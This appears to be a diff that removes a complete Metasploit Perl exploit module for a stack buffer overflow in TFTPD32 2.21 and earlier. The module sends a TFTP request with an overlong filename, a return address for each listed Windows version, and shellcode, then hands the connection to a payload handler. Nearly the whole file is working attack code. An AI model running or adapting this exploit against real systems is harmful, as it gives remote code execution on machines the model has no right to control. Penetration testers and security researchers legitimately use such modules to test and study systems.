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-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::tftpd32_long_filename;
- use base "Msf::Exploit";
- use strict;
- use Pex::Text;
-
- my $advanced = { };
-
- my $info =
- {
-
- 'Name' => 'TFTPD32 <= 2.21 Long Filename Buffer Overflow',
- 'Version' => '$Revision: 3715 $',
- 'Authors' => [ 'y0 [at] w00t-shell.net', ],
- 'Arch' => [ 'x86' ],
- 'OS' => [ 'win32', 'winnt', 'win2000', 'winxp' ],
- 'Priv' => 0,
- 'UserOpts' =>
- {
- 'RHOST' => [1, 'ADDR', 'The target address'],
- 'RPORT' => [1, 'PORT', 'The target port', 69],
- 'SSL' => [0, 'BOOL', 'Use SSL'],
- },
- 'AutoOpts' => { 'EXITFUNC' => 'process' },
- 'Payload' =>
- {
- 'Space' => 250,
- 'BadChars' => "\x00",
- 'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44",
- 'Keys' => ['+ws2ord'],
- },
-
- 'Description' => Pex::Text::Freeform(qq{
- This module exploits a stack overflow in TFTPD32 version 2.21
- and prior. By sending a request for an overly long file name
- to the tftpd32 server, a remote attacker could overflow a buffer and
- execute arbitrary code on the system.
- }),
-
- 'Refs' => [
- ['BID', '6199'],
- ],
-
- 'Targets' =>
- [
- ['Windows NT 4.0 SP6a English', 0x77f9d463],
- ['Windows 2000 PRO SP4 English', 0x7c2ec663],
- ['Windows XP SP0 Pro English', 0x77dc0df0],
- ['Windows XP SP1 Pro English', 0x77dc5527],
- ['Windows 2003 SP0 English', 0x77d69def],
- ['Windows 2003 SP1 English', 0x773b24da],
- ],
- 'Keys' => ['tftp'],
- };
-
- sub new {
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
- return($self);
- }
-
- sub Exploit
- {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
- my $target_idx = $self->GetVar('TARGET');
- my $shellcode = $self->GetVar('EncodedPayload')->Payload;
- my $target = $self->Targets->[$target_idx];
-
- my $sploit =
- "\x00\x01". Pex::Text::AlphaNumText(120). ".".
- Pex::Text::AlphaNumText(135). pack('V', $target->[1]).
- $shellcode. "\x00";
-
- $self->PrintLine(sprintf("[*] Trying to exploit target %s 0x%.8x", $target->[0], $target->[1]));
-
- my $s = Msf::Socket::Udp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'LocalPort' => $self->GetVar('CPORT'),
- 'SSL' => $self->GetVar('SSL'),
- );
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- $s->Send($sploit);
- $self->Handler($s);
- $s->Close();
- return;
- }
-
- 1;
-